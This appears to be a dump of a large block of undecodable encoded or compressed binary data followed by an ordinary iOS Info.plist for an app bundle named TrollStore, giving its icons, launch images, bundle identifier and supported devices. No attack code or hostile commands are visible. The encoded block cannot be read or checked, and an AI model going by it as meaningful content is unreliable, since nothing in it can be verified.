z>DCen6?+rxFOQrHUY46K{Ek6h{_b(}%~jh{88?Z%K&y*tc}TGvokQp9zxiJt2~dlw z><(Sh40-c5THE^eUCJ0~8$pq`eh#Zi)W%yL6Oc;AMMZSq{JV9YCgs5F_^;-uK+qHr2uhhpKMisyUi<;&f>ha>TX6>wX z%;LhsZm zI(?*%Nq)ergEs|jg2wU27f=3VE-&!_oHx+WooP)?7TOSqf(Bb%*`fKcsO|UZ)2eQFyQRw_;%IP^Tl%D?BW!VU}x%U z(;ZUAKL}#^TQh`G6<1il7meT71cHeyWLJ@X2d#m!*w1u1>J@H*Q|9j&-U&G~?e_Wf zV|#Pv<78{P6cBO9#XdG;GeH+L#p`pu2kWs(nkM%<-TCe>;UPvrRCY8agBD22rbs{g z{CuPgf`icYF9oHi#_W)E;?{Owzqj9U8@xl-NS)J~tA2y^O$DmBoRWHs2S#bc`f`` zv)`i+(-Y^Om9eNw5bk6>h)jwmDc~)Ahb*R#i1UB*aXgz)EO3kg?Xm2pew6q!LSp69 zf*0Z`WD%mayyWSpbG{Cx-t*Kaq!5BF?>gP-Li^z3L5t;eGlEBR%PUrV4JK{#xxg z%X%;O<=brRm+>WiU{A`H%YIl6@n}N&0HopnBikrf`dZ~Z;2K78@i~6c!Kh&mFoR1k z=j?k>ns>3_)>G$+Kj!RF5ouRVrI|mhU;rIoyZJ`*Zw5$!`u_?>k(SdWjIeFn zKM-t3p|IeEuw_K^MToUu|6!2+!DR(hKWwUgH z&JiAbqshpCNe{ElQl@{%Iqv!c>F)4P1|WB=Eq_)Rluo1$poCf6ykRkvV% z+@EXeF1QxW-rzvLCk=Fsu+9~>ybE$EfBri=+Ak~ikMb2)IPgS@r{)$@d~Rt}NR&HiS5{)?L`jGB2DWFUmF#KkR_m+&F3lB^ZD)Zg@cSri%N2d3i6x3|8JBlBz zNR0mDi))#cvjExXzYfWgwiBBo-vx+gdxkrHJ5t%h0zLFrNWY8#vlULo>Fp5MS{BVZ|A@@vZ#>as@WxAJS-edLBLE;LT!P(64esGLO*!Ce;uW@?tFLY+8dcvow78N*I)1h>>oulG zgvdq#_-8f1_yHiOiy{k0!n;Yq``aZ6E+ZBT*d&q?+LGXi*%-x0`xClqxQF9K+UQV0 z&;rMkS5k&*R@!#@y77=bae}sdZq`%hD6fv~8oi4PB822)VHaxi%971tK`AB(nN6x| zXyey*&KLqSRjlRg8TmnHMK7b3$Ai@bc~1R{ESb6@$qu4cTcE_*&Ql+^qo^W;6ed7~ zm}ueN1$y9Un7bcZW)*pG%|LEd47kj+rAbGtFgye~q|i2-Q#llN?_vsj6Retys=a)cvehJ|KRKvt7Ac%dzXjF#tkrCrZgUhyFv5$ib zW6}sN6~Wim4A%IQ7Oe|1Z?+6vkCiKuo#s|XKAy9*E-%&0QYyU?9)3l)z(Uc5wi)aP7~-yP8Y2*1XW+>)!DvX=#wo7RN?Cc-sp0O+uy2)Kfiayu)b8S zp8ZAg`+Lhy!MuRJ2{>ra|CmL?o|OE|@>hCjEUb4%CIX|v-`pu6Zv!POsGL~OV?+w>bbXD z@rlW`XZF}qtm%EsJ6$IdOUM;c&hrJ&)HM<*ZHIoW4p`7=Yv}^iKanl!&i?=hfBNu5 zh$sIEfp^6djrs4W^{A7-$-uMrV_ZJ=chO95p9rCi{I{|6wjE7b=)Xvy{cwj-cq*QQ z?WV5B$Fp!9w28iB&Eq0O2xgMRw$B0LncSj^UL3k|LrsnET=S*1>>Sw-`%=8`oE$ed zR5<#wy*vAUd{tw^)oUT@KEEU9&al7xv#{c<;L9sVQ`iyu-5z~c-}$89?*lwTO{xkn zMg>^txhbS%T{2SNRG};#4c3FEXOuJsD+T$#bk@)pgjVw9QD4M%Ef|$rY%yeO$O|ELIM9MAo5OUO*i>3@UyVI`;GiHA6KJC!9^dI_ zC@5_WU||*J)t-a(?HXWq+T##EUCTRo`nhqm_Dly*#hQg?)4R`KdHKNJOf{97(al~s z)5Wg!ENswco9s^?&UG4H7^~VnQsrIa=oG!@^xX=pH*Z}UCq#&Ykbx4?po3+)*dmqu zIuP1qu}M=>JfXx{Cb5IHcZB1BOzvboIaIU_t(l~EC|AwAL^^7&XYZ|mt+$0q)qE`x zLSjQ3h`M!glom{y5O)Q#$f>`=mR0A78iKn-qiKA8SFu_{Te5EqeNr;jVqkJ@_BhZ} zQuXmM_pINJSHO7cxI=O9@_mPqG4Y^%k|+6oqz-osbJ7^nms~RDg%JJ_R7YX57zk3> zv_h|+8K_jlWXKS(U`i%Y6Mw(cPmFT1{eA~lh7Ejb4#nHJ!VdqYxpPZ6(piMK<DI%Ef{Kt}lU_Pwm=+tpU8f_!c^2 zO9M%^FLcPaY&GRPWXHj7<~tA3>a^Uo8wNfqt!>Ql`mS~)<{^@Sf_7o~8j8Hg&^1be z2yuQOi&0DNqE5ANIu}gvZihf>=h8(+CrSes)vp87qdcL~Y%=VNKH&qrM+v%H>eXhu zTw;8oc!`?a2QjG4xU&KaH-&QuQpxt1VDWqJPMPYfOy9kGUQBOUHM*0MJ7Y>mv<9}H zI)LfRe@$w1SOj?(Ap_HxzoY@L#0S9x5h55lIV_a+U{ccoyc?GwD2OJ@1S`|T_=f(9 z)6{%^<--H))e~d&x6T?+`y5 zi1uXiAnP7+`OCqWu(oX(h1=4uI^(3nN2 z#uz%!SYFUbr%(37ysRhR=GlU#dh^*)TUicu9sdMmQQ8|8HIZ(J?L=F-NzWUWGrZ=- z!k2JSONS01zbyziM#2FcEKDRkBz5es#^4NboY@=Zj9ZkAM6*7Y+g5^+pcr#uc^iab zM>MgpnF`P|JL`oWhEywtBZ%xRRs_Zq>PeCei;DDmI6hdI(E<0hv1%j_HIR>hisMPY z`cz+IPDkV52>CS)(xD|=;8G~S84{$|v^WL3980v$m<35T7%PKTf*vt?{WPJNXxV!} zaXu){TBW;l?64<6eU)V#wKZ5M4Y{xcAw~f&hHUji&3_v|dyV!ThAEsUC<*v?sZd{p zNb=!rBz1TR5%?Ikai-zyFu?}s?Z!ykh6A*&;$6*!)1|_$L0b&$*JiX{fLSY}&Bw;A z(TOEtb$&<2b$JF;1%Dhse(~Wxgy)1r9HIe7u$j#RUH$v)4)=->8yf_>30J_Mtg$q~ zop{!?8!LAp!+aSz%@2WgR|mH%L8S8O5QcPX00$$7KisRid88eM*YCn?d`7^*XU&b4 z*o~EG-!<26F-VF4EPEczcD&b1MrTm7Sk>>#q_;WW?u|z5ZHO_75VDuMa(4 ztaj>3R@~L9#H#&=>cdV7gV$WIt3&Z~@*Spc7i`fUJ+HQz>~EK5d*7W}%eJoGIsYa0 zPKEN>#)A*6Pgh| ztiyf6&W%^L@3w7P=M$fL&oMkc(7J3i>6h|8%PYN+ID;_Z$IHUlyI1U;^S})bnWgsv zts1vvTZ(6v=ky07obUcYgvEV^^vW2@5dXUq1#JWD?xVs)aM6*|~`;=#AE3d>=^!!`0d zQd0c3oF$0%)7CBEiwJQ$WfJ*>-wU1mPXfV3V}I|?pG6(~O&0EHvHC~lj`@LJfVVX) zXFue_>!#?itA(h~r~m7PH$jXp?=d*jlQ0%!MlY@VJc&=~z;3|60qJJQTHt%u4T-1w z0hVb5^)l#vKjU)KsIAPtk}%G7oh1{)XBDg}{d?1DoBM>=>*%V}1eez;UY3hbKL1{d zyV9OhncDMZWZot`W}AgM!^fzXr@%7?>gO&~Gw#*rH+Efd*u)Cb*KhVbM^^Q_iz|Im znMKtW8rxx>ASY+JUIJ=zEqIkDl=20}ndl;Lfr|rm7sq+>!hSz3r~#Fn-^r*QUtAO+ z*3}3N2|-XkfIS9Yqtrk_t`M1xljplaa0sBfaCSy*jPLOb(x;CN8fMd?A9{vRg(TFx zKY(14;%SmPNTl-vVi1LU3kruPq827eo(Uec%kgd61P_Tjh23kj35&CC%7i_@^ju1h zcgjs$nd7HjkoM!mj+LwCLfdU+uV5H0cfX|;X7S)ogRok65NB2;v!X(IC707 zCX^-YgwN4M_;l3r{(x3{(5gU87fB8}+=ZP$iMQH?#8!ulsSS|LkxClK?iu43A9{+k zg$9Q4|U9UbC=b^jOr=KHpP|;=Ik^a(1f%Fwjw~4JCo<-9&W&m0-K$F?OL{ z56sVKD8kU&)qt@ye}y-()nReptFDCj!l21;c!W0!|=r#U1w`t!v-S4}=_mI+kRY7;7%d)7BrARL|JLfTm6k5yyi z+n#jZ_Gk01oaVc^D*9E)=S=^qR@r}HfAr;!5f)v4^8w6l5}f-Sz)q=i9pT9M3hy** zk`(EZoi5j%!oF68NkwZD-%z#=t<7>tqYb*R;$PjNpU_R_$Fi0ecWb|DQ`1ed^GbU2Q4x}8ai}uMo(W{J&xM~ zDR=Fg^&2v(UNKbSxHcm`lm1wq+{Y72UxD3ar65zND;$Z_pk<=12}*)mzCKT#aGkVu zuJNZE=P@`|O@ehWHMguw-*Z&)ELzF9(V10* z>xfH!Vwh)h7ThJ=*>ZEUUpr|S^Ds#DtIE5&%>Bx$XUi^Wy7`C~UwC@zt7m9zH5g@f z+}x@m8MWYf4sDdHXCaZ+%?YiaJyQqsdF92LUpzO75cK6OKi15@T|DP}*o@`3BZ^tF zGWkkzlMzO%_v{sq%JhnxT>(GVasy*+jnu^)+t1mVw=@0=V6opw|3K`(kG_9N{0G-1 zzha=L|HARV%I#l2Q&veJjNoc>|1dxfrHgQ0g@ks@BHc6P{FNO3ofcs(G zoyk}d7H z%(IGJ+zt&hQv^Hl2So@gBISW@X5~$$pIM32fW*zNuMaQXr5(v1p#{RL)=|> zE5US)yW=OazATn`U;A9KkM@f45yxqm?V?VGbxl@d<$o=w(B#|o2)luZHr_cR9gdNf zsOD~ILRn~qX}l4_z4mrkQs?bm$Sdd28OrSl!fD{*&BwuTy;eFwIg*V{ZvL9X8b~JE z0*v%l6ZQfHg}3w(ArxZLaBV9bB!&y z-Rpr(Y1gNLs3fX|%$q{JvSz3V?CYF-3x#gno_31U?WZ)DzoZOesFGx83xPN05&Rb(?U9l}KQL zP41Xl!oGGaIrfG_S`SgN&gI~2*K#Ua5*{@@%YlPRY~CfQF@kj~czraDn|#9G#Zu^Qhzg>|NNH_Lc)u%BsT zif=u5z5US(w|KVtz?R8#KB1QFJI0KSSBf0p7TN!Bd^oXLvJ+NoagZTy5za=}4}fQH z0;}wxPUFc6jxyQSffa^RIrxY#4jEr(XQ?{_0%2+8+%*sH0W#nDDdhb6!_2wq;K_T! zuA%7uAivu5jYbXOHZBb#QE#XSOb%wMk1e@q$-5|gOKWi8D<9?_6qJ*g53#jPOTIuN zhmkprFfnx+0rCip4hO9ANX=W>k zcrx8j z2|gVyy=a4B^EP*G29#Ce#$q5Q_*OtTE$x1n=B|-?!-!?!7Mr%Po@Nmu(;^-zjmLU| z8rgSP;TX5#p%L-t@VGaSI&4VHN^C8xM*)`Hr=al?k2R2jt#!yGh=uT6@FE0v->483 z%23w2&+@A&MWxBgB|U-eoES2v-6HM-n{I894RRlAmBc3=9f`J}_ztyt#fL;zyc7F| z1rC1WyHvyTw4b<{e;7pH(J7z`XBdFDZzN|qF$$;G%PkV`nEXQRqHbk`jCG%xavdrW zJZRtkZq;N*lh1Vv-*fu*=fr;;_J!&m6Nf2)2TUIrFPX4xo-|;@{P^bp9L#k|F633e z2$@`J>gZQOrL20F=U=6@ym~%z9=h&dJ?WZsYs|aU7 z+}k`Q^Q)gI;-^kdJIH%KL+_2-ZEN9-&80Z}rt@gf4-q1ZRMz@W`Hu*p)Ak?TfhAz@ zW8qrWe{^NdfdM$dO1OYSC$7M2y6~Bd>lPsjzWw;Ou65?R@?KpFgj=`zRqZu2{q%_?wY9kZ%#DN`RUZ(wmaN8`BMBVYGQJwCbKSl$Kw~4*FG;6 zb?{faUDv(F-+8^wt>fhvR~f6m(BTets8L|TyKnp1FRHKQ++9k17tE?v$TXNAzBOmr zcgj&nW+|t7!fbHsF&KxgE{9lM{u<^cf6u?f$bcj+lD2m<#SU3R0_chbmK}uH5}vwoeu97zdNN6`P|S2$fX32 zJqh5_TD7ZZ4#z&hM|usRHSiS&q1dOP-e;B?#u}89bzim?ejPtks3byA&Rvs{&kwi~ zOEi_vGZs(p`U5l{DYbBuPpYw2WL9k8XiL}6Y6dr{de7AlW9AZ#ds&gk<&dVYN1~tO z`9|vMx2jotBA%%$A1c;Gy59~pOR-aXo^LR87uUC|Fz9zbK@QRd#kp@@2^xsHK2VOW zJc~MkVv&|4d6)4iJt*HCcogYOhD``9pQbz}>Ntds{dyT4V%Ahf8DYeF3*i_Ocp#_|-RPi?m+6X&X z3@K9Q7m(6vNPJK4(bRx9N5)D4^*qc2_`HdFv&i>~Enz^tEJoKsv6L=9eSnc>kuhOW z@EQ{p2+uWKGO(T&;g%pYfewOU+(IZugplU3^OKGF`Y<)&wj{xHOQj)8TLv5UD@GXL zs1_6%5u$T{6Sq!f*}Ol9?zj78`(Sj2zFpAKk)>#Tb^VVwF!veBd2y)4d{E{Xq{Y)C zbqvrD?XauwFg3?ySu1z->$Bc~tEm>)NrlehtqtH2%{^lmnhJ(FkAiltcBTdi-w7TQ&Vc!6Zu(9gg=~O$ z_BEj?q8jy@OY1CX{~>Gjwuc*bK#c>6)0#=MABnCh6~5)i7{}P zJF2NZMBFz;9BfwZ!eqBgf!JiC(mY8m+_KMxxL%i0~P!YyH_dXFV|vq|HH%dfo+ngzXGl*yl6g$`ZI@=)T5 zp%Min3cM+ppShEk^y&ES!ty7;6ofkl%+j-bx?-&Fa+PxC_z((wXdU^YVo!+#bzqMZA1VxpgH%z*SxIP8AlM4(klK4 zUaFnV&w*<-tgxC;;|-p{jm=-19zz+YMjB{xUNa6)y2SdS7Vh6W? zL3+mB8{NCwW#MEv9i>SS2gc70E(=k@ZpMb_^~2HRE%-xybfU_A4*-)SGz_ygglXJX zi%q&`!KSo}AO=2H;h=ce>Z(FYDBwd*(4mfl=yWJA5 zhrMR_DIrqw9NvL0M7l}hBVVrx>(B-4Hdl;X|D(ytZ*lDv`*PU&KP&9|M+&c1UG5Lx zFA0jl(_smZJ39nbtN4lZg0#32W7$oDc1sM<4V}5?Az2nB5wo#jAOTa$;49>_P}uk>DuSLHEt7a8*WA8>dZ!So%Y5Nv<4J(c&uFo${73Wh3!;Y zWMG3|bsinY(tOi~LdJ=)5`~2s%dsW;)^S2ub+u`jN3GNR?f!s^&nLe%AHV(N zwy(Z(eeoHuin|`XH_Vizdzg)_wr^hA-<@NdZM2WgCS^Y^QwjL_?&>YDffcRll%%NU zxovC3#?$ysI*Mn~pOll{-YwZiN2OIrITh_U`?fUufk@+EpZ&+V@dI*VNGZQJ{QQQ&g8xy8 z{;7`29Izv`(rTh6R^hibhfVg8~Mqw^x8P|Z5ZXRV{Qo! zzx(*=f;ys^@EuA@ga}7X&|d!u9f#Dpe*xrVqB7qnC}+JbxGw;2<{0c*;j81>@ZM z=Ym_Ukt|F`u}X`efM`G*kQa{Shp-r%7*Hfk&s%Wv zc}hkuczYzvK6{o`QREbFBJt}r>O&J56OM(f)PQr4+#Oevb<5p*|iM_9~6z|T_$pG_vWSQ7o*ZLoYw2J|q-_$PVRO98o>&9!~ zd@WbyLz}zb#f_W@^{6&{)X<1nGiHhqONp?}mXHH{QXw#9NrHt`5%yt`7=PL(;p;Vr zB%$UEDjL27346<1`|EaJo@Iw$CTW3;CNht~$>0 z%wMBkq168-`xuZGx%0Z#3A7kg00wZAM-7&W^)X2PcF2%pxO4Yc&&H`kh2z~kQnIFI zW5XwTZ@iHaKlR7p)bY1ke<0ZoofyCeGu3H4mB|V5G@%PJ0;;;i z*4%kIqz)<#aEI$ZQ@Sh!B{XIwO3fArxE}_$(%r`@pdxlbyD4!LZCrahi zMIHyCkf80zun0mxjZq1U3GBkiJ`2zBM<|gl;wF{3*I@q@j|u)eKkQhRAlQIGnY3`v z_FeqFkUTui-vNgV!tN^kK#%4gKsiGjEU#oO#h(JvIS;+P&jr`@QVDxOYG#y%T~yd| zx@BXr959d)HK+Dv_QMTKjWM)+mam}OjeYL1$YE2`DfQ7`dNXM7=AA-yrEp@F{5eGt zUp0KXl+ZiIjVxqwN1=dyb@KRS^^W1N$({;!-+hO?;Zsls+gQ;#C?>Y#BOX6>gP2SF zL~5YiAo-Ig%s8|qEU2%5_hB~Ou)r#kE*QS``UF*Uxqg^K%K)yF=$*|6D(^~oza@~;5DqS-r_`#pH+BU?GVYQO6$)q&@ZsNZ?}C85Oi^ysBop;^SKDe+u_Ly1Q_)>t(~zbKAXNwi#}+rMh~Jk6*FS zvSL0rD_d2- z8^=VA3ccmeZi%YW$JtZQh!E({#7R;|sXRw0)dGIMD(}q^N+WrPKA9OuyGasM>_5db z?U`2@I#vVX!tj@EKd)dF9KS<}HW5={1?&P5!u5fwrk^}3c;P$n^+*Hbc-6*+DPIfB zKoIwI#QaM#|Z_Y|ktED?gQ5XPM$!y8hTXM>O7UWIZ&1rBoY zm0cg<0)XihtXp6!(H;i>$)E>>aWrh~fg!&Iv<`r-(fFGCbWYO<_*zi;ZM<3M)x)rL zUu|T=Tnm}vT|_k@40-jvJ-)DP;0IxNcKk@FvLqz#@tRIWHDMp*3`+J|yB1aZbc9Dn zK4#3Ll>ly4U{K}3@YoPruChXJ%vQ^@Ki)|9+8$?WPW>HWTVf(8Q>1fHB8xJC<%UB! zV3-Hwe!YB-w8ik(6LSi35>h`qraNX>Kdswsou3IS*&)q3H8Gf!m6x2M<%mZk;vwEC z1>q_Ucb`apq-fBX2{hm&asqQ)P-N@O^T11X(!^VBc*lr?G&#~mimb06!5$VlWWx@? zLCv-1eCJVu<0Jn5F@l3ec}iHtTw%kP4i|rFp^NQA%_HZ?OW(x=_k_I^;39d^1}I!O z23jtKfGO;hB`np;R^bz5b1apBgj}M{Bd8Y7O8i;VKEBYMYMEx*cSAc#dw6;VfUimwOMEl08^W9jK2Bz35FKWzmI=g*=3cL$PJ0JCS>1uTtibQPwCYN&VnXS za2r`(VIXgiPPXdx9(agAe6vO%Ww3?teWinfWY#Qybp705%+^aDniDT-h7$*ILB22Cp{-#rz1SW!~K(I zw8c|7Cnss&kmC6t`kv#@ZIF?5kiFHx`o_BaGH%b_vct$j4?<3sI!SqNopZkx(kVY= zlJ0zj^nS)zKBM=1t>)0FyIi{XU8r-Diun6w|77miN5OJnEGD)Ux$! zpWh!sP!Lx29~`v${g3#n`FCS5_p0!iV1b`_+n1&&^#6)nMvak!j6aiSXn*}H3IxW^ z@)&E1Q4?HJq#ZKw3#vtk__s;vI^`36BG%zMd}9)=pXnlHI27y#Udus}%8nkhI^;BP zCOoy$>DPRfgLkyj{RJsQb6*~%1p@?kk-%!>G|TwQg-uH|-jPtLZ+}JMlDGw$Q#A$g zg5d%90$`!*t|w1Hx%e~Qqmd7W9yN{?W8}4QhHh&StfvuVxzFZ)zg}E=dVeJuo07qY zYcl~X4%!~mjhiHMwo#fY77wx*l7vH0ZB20TmJcFCsPTkZuiy5ORul_4Nu`sJ#=mSt z2$^XgD8&iXP4q)49u8ztkilx)tY|h&O%~yf!JAD`@yO#qdlQQ+fhTti z;g=6W*X2r$(k`G;Q}rJ0=AcA17c1MU9a8}%2z`{DA0lD)BH=I`QQ=7b*pCdMG%R&X z$N(vPLtk7625==$>9Q3WOHx2Uw@?oVO8<4=_!dQFB_2;W%tmes)07$vZ>=u}@c-_u(&0TL+B*(^o z4|I8P3_$~~r0|vQ3#A5m_QZY>;zd&uDR6mGmrl|kY7qnJKj<^{m`|+HwTl29c1Lx0B%MO+zoH@`nf#&rHsH>wP(4 zD)xJr=gEgXRRWjP(Y0oIlem?CSnwwi7T5QY0+6!&ql3cTAN}~3TgNc05I=l|(~#}K z(h%#KmE^LpFwp&6`_M1cmN4vuwNV-{z#=D8snP4L8L2@(3}$N)0%t)g=?~gRU7=I} zi0U%o8xEs)lR8}Ci2JGch=)7h5z1&f4z6}%Wy6Tuz4CY`z?e*1mzqAHj(Zg7snr)D zx`ut=h+OP%Hr=uLRbxF3O3J_?|3tR@qE0fna88hv&!)SLC0p!C-T7nm|}Cu|2sX}3rhsS`f*As;v; z3v1sZD6*LNI^KGeV;AP6aBgazrqSxdCdtEB&AyKdC2ruK{&WDwZwO(1Ozve7$W%5D4XE4Xe73?~_Rxc^wJL@6d+Vz_ zDt^20%;8c*MZtZ7jBZL)My2gR_?E)7P7|omTbOWcl9tJLVmsu`hv?o8yJudt+sMe> zVfagN$a$~t)a9~QqYWB|=CP|Duc_1=dpE)vrs_*iitJ!LI=TAR)$_Dqh9wh-Wy;wEqey^)ZWmoJFep9Kq+D9X0R&#XG zIisVw?;i*1y$v-<*0<=jj#{`lLEh!JvwHW55;eSmkfx2&EZS9o_w$b*5q4j+Ca9c(*cIoN~Qy50_bAz2DyUD8xZ>sp{mTI}r_` zr%%<5j#a8T;%YvPr7Y+3VS+TahF}e!GgVZ&nq-OvQYoyE++{q;V3Si?P0A+Su2(`; zX8>W_lexHyDHUGcIg#<#tLM?1Ty)+~PTX2mcJE!k%V`1oQz4^fCG)Hf4OX4I&ep(r zT10_WYL4HJXP&cDn z(%$ETW}V)aX;W}A_H@0;yQaJ*{pgBGMC@u8Dwzg2i4du0Jtp&0 zg_;HO-*A3c#=FQJCv$GU7KeS3JaGWN z#A#^6wg)jCRA@(Dc3E#>bUb!q+>s(JCDuOpaPsM&u^lQ?BbWDzeZn7upN_Cq+)#vj z9E<{v_2IUZocV!P!Mk%WfG!`JH+7m1yWV^lS~&8quPHQ@z|lE#_>U8kLwRy_Jnh4)5Fn5g@YJ}r#W!U(~o;nC9pZiYGjtRg(x|TP; zLKeI;{5U|l^SZu$!Vh14q16A@&b7uv)$Z-FtF5G_2sw^Cn4+j85$25~#AGlgWQrt& z&}gb*c6po!Pfk-#^9V^!B@|dK~gJhm3Umskuo~@O#2_0(IDgB-_p~!nIdTkLe3!xdw38VpBGS5q?*F|n-j1$~sY*H#PbWt)c6(m3T&GuGDA;%CxyTW+f^iuY zktnlD4LM21Nfb`4P#?Vqe%$^pX+b;zeF+W5=|$;jvf?VwtPmz&rH1FGu^m1IXPG6W zzAc$csw_CtnHk=7tksm97#vaHj*`*1f+77iTmq-Z7iXQRfpA(IUf)WW^vHDV_EK9! zb7ht;I{KO(>QztB(brCE4a?d0+UMJY6A_o*R79+J3vrw-T7Wo*s2UBvV+Xgnl`(0{w~GSUaCA?f_X=zgTxqbf0pflJ48`XylFC1~ zcgO!{l`SL^vb6+baRc-%umj*umE~CcsIxxUWWxZ4mzN35&DNTq(LXfq>o5+!bXj)4b{g{bwsCKi!k3vm zz546EX6aBl;>evZ56G0-G^1rsj}Ic-?jmLVjANFUspD8nc1oyas53Ghtk)X!G$W)m zigxpiq`O+0jx(}UQs-op8rjG?G@=-hc7&FZVjq$k(Ag6{im!i;Cr3vu&wpuPivvXF zCVGDZ1cLX}jU9qjcjJ`r1t~p9r*K-?Xu`Yz9yqecNZ!S;e0B*QV^kF@&@F5ARN`ga zFfiTqp_*dPE;T`mys^=T+Oe)C?fgI!n&Za_d0Ef+mc^qQPV@Fn!^PH-sKUxgig``~ z%01inWTZ=gId(ttN z;L1rS!ldnmJE_j|(8j{73A-Z`*jP+`4!UWJH{RxsNmFqFJPvrFL_a5NOvE zB3Wv#v#xAXL%Wopt@%f$Okn!ZfoR@izOCky5lR6H#=3EfDR;_78@<V)w9+aPO(_G%Vd|wQ)O!`3#_NRn+t8$ja>WN#C&!R<*rJ=+fX1}b5VFJ zq*9Y?kO`fk0v6@>u6%DMF9FUnNW%GOnFcFGabOXI67bm?zSXk(@7n@xgn;Mq1*;Yi zflAwOHf-l7$k7duB>tLmh-LFYNCaAK*I-4^GgiUtMVdCFhPeVb);+15QU%CN@#xG0^j6ifl%x_wpn zME`oobqrU_A30WMEHL|HPWn@J7ybR+(2S_qz_6WGedqab*(ZClqDJg`>Y#qI2>`wP z64qb|!G+VIQEhi9_tr{j`fgr2T5JXVm)E%mT!P1&E2hmAv;J;<(s9b(5y05x?B01^ zKw2(F$8UhFbtQ4?D8dKnB%FOyWon*^ENiOUk9~ak_9_zdlwz|Zx!!t!Q?6Ala_+Dc zy8_uO01M+q5;z%($}gg}YJMzN?O`ltk0sk63E&P_X%>h4(s2)8fEw7HaMq$agMG!z z;B&#;heN@AMuV+yPi%mkjaAp6SbLVzoiBpZ$m+bfmkV}o_KkO6dT<^6nhHBohm|z` z);uB~^6&_2(vhJR%)`7{o&{k3)M4yQtc+5*GKa_J!k3NTr!)F)23u(iq%`03K#>qlR?vYIbeC2ZGH!ZqY4(dK znCE|sf^bzYAtqa?6O+$P097_7;3_@0dgS+RQYi52wyS_uIaGNwFloK5OIrhH};TlF@Vgd}`naivvy(7-pa@Ft=R5H4u{HSKG zV!s6oh=tytM^1agq6H3q_hsk_MV2oot%T99eCpIIYB>|Jl^AjtIlnTU&Ok))9VVTZ zE=0%o6foSxU3Umy>$M`i$?$F~bH#@DoqB!0eWcM42j%H0k zT>0bQd$q-5i((pwi`YoDGI^k_2=>-Mpu7rj*5135hQa(Jq?saaG%t)#DeSlKDZ(;Y z;?cug2Ce+SV8d7`o$Sq;#WyOz;&J*u7|LiA<9xSB6XkLG7N$1wH--on6fMRjMz3aH zA|+t`&ag^oSy@g>ed5kw_&%bbw%()ks0wUv@9V~E#q7hjeiF%+YaeJhKbjjRy|cX< z7E_U<_R%Sh_^ySU`bOq(Rp20-(_G>%@xHbontnOg1#IPTNhsTiAD)Ku)$H;l5m&>z zhE9Cec;b}N=OoNFHGP(=5sYx|tPy+lP1a!{MW*{Dd@vMpVpXH8cfD_wbb0CX3z8pf z!MLA2FHi682)nfhn^!=LtW&`4;|4~T>*&OZ*oMn!!fsB#W!0lm ztqR*f)7(?OHX8YDe^DT47}B%UCJ@2)zp7Fu46VLiIFT@r-*081+3%zAvfwaXsz@_; zr{;uV-9-zH(6J*|EHsM!^OOB+!JkM3Jm)Tu(j3Sf;n#G*u9Loq(*VM@eyA;(*vR~* zi0r`y7H1+sW#!ikFNMotA-3;9^Rg9Shzo;8BCiOkkLwb0&IAEoy{JK?Ji)C;R_11S zJ05DFxE9_RbiuaGVGnxvG@W90_i6_42Es7H-xVMnlx2v2@IY>)KoF|*6o^l z5d9dZ$?FW<2B!dgg^MCttl8Wd&nM3l$h*UEkJ?h)Os`T)u;#qrphTln#X(fasNr@E z8N=b~hr0Bjy;|Dnf$k=cv1Hcao>1rP!=64DW}&B(##N52;W;_`yYuR^cI9{{TfM>p zF_QAHEWs~Cs}dbqL%Px3wQtX9?WNtypT{A)sMpFLK_r($xyUzO#R6w;=Ab?o$h9f6 z%TL*L-csaI1&Q;giUI_~ny&3P{G6Y(K08z$`}ZkP9f$h;$}l5}pJ7<0t=q_@KQyy1 zvV=5sfC=@(Q%!@8^*1VyF9m-f2_a?NGa*lmzQDTF)>FPgZ=pij~3d&L{q^^_z^7 zy`xs7<2mwv&_PEFG5Z5MEW{i^C(yl|!krdo68i`Ug6Dy5PnqWgL_#X!t9tVHq_L`9 zr~7><)`%4Usv}lIh?IN5shI%?{}$US&Hmfy)A0H5c##b9>W_~0O~I=6ly&BFptvIY zpC2QT$hs?d2Ox^=Lst|Ds04i5l1VZ^W%&q*JANasQ;PuAxm!FZ7?GQ_8eQRz=1csL zAw+C|?k&Rvwkj=!3nIXm9p~8qxQrNj9O8?f69Eo9Ht(yW2u+8Lt2E!o4{HlrTq5h9 z6}ynriwjY{>9);pyJu!Gie_*Jo@@X8*@ckig@uP1Y{u9@<1X+~O)ui`qU6z;i6}aY z!+$SD?i|mHiL?%At{v%R*h%jvv`&{Gw<*Sd^gzZ-KWgl&XG_h_0^zJvMMcF#)srSt zB;YjU+Y&fbR`YLJMAPk@XTf3p>vB+&)$ux8zB8-4phFj2t>sX=%G`Yifd3bbcg#s`fTyYGtYD!q77oe8=|`4SE6ql}q@@?ayKa6=40$y1WT% z43qTC?QckTF{aDYUIQ|;Rf}65C(Gnmf{I!LEb`-xRrkI5kQMK!21FJhujGC<2AiZ; zsAWjpKe3u1KWT&#OzYD-GiHrYC0;He?udBHO92ha?Ueo(6QQAu7vtMU`t_IG>ApjA z{eH?Y$Z2d`sz<2`s_b)I+u_`iR5;mj+%?g(TNe4~cS0jlY|0@3^wo}Xco1|Ji6 z0$spFqUbNwHq&nEpb-8em)Y9vf5%=o%-RT<-9U15>Y)~?mCq0~eAU$z?7%+_E5d(R zBZ)MVyc|~X2RA@ZA8L#N1^n_w@Slh9^S}5R&rI=ElN+GEvO1?BJYQ-9GzyeMw}1l? z6F8UdiGNO*Z@~vDn|I`;-6M&%Q&;!#-0goTERtr|@XO!Ft^&c$BVEyX6Jl!kJYQ^L zJ)9(bVCZ}wh`4PwKu`VzCI0`}|KdN95BIK`-T?KMF@K6NosDSY3Gr*)n-xRxXR~V? zpyijFf=*z)egG+-w%^RURaG``%=@YA^k2pufjno!Xq b@>cRKHvTZ2D)cqkWD0NlKeHTc + + + + CFBundleExecutable + TrollStore + CFBundleIcons + + CFBundlePrimaryIcon + + CFBundleIconFiles + + AppIcon29x29 + AppIcon40x40 + AppIcon57x57 + AppIcon60x60 + + UIPrerenderedIcon + + + + CFBundleIcons~ipad + + CFBundlePrimaryIcon + + CFBundleIconFiles + + AppIcon29x29 + AppIcon40x40 + AppIcon57x57 + AppIcon60x60 + AppIcon50x50 + AppIcon72x72 + AppIcon76x76 + + UIPrerenderedIcon + + + + CFBundleIdentifier + com.opa334.TrollStore + CFBundleInfoDictionaryVersion + 6.0 + CFBundlePackageType + APPL + CFBundleSignature + ???? + CFBundleSupportedPlatforms + + iPhoneOS + + CFBundleVersion + 1.0 + LSRequiresIPhoneOS + + UIDeviceFamily + + 1 + 2 + + UIRequiredDeviceCapabilities + + armv7 + + UILaunchImageFile + LaunchImage + UILaunchImages + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage + 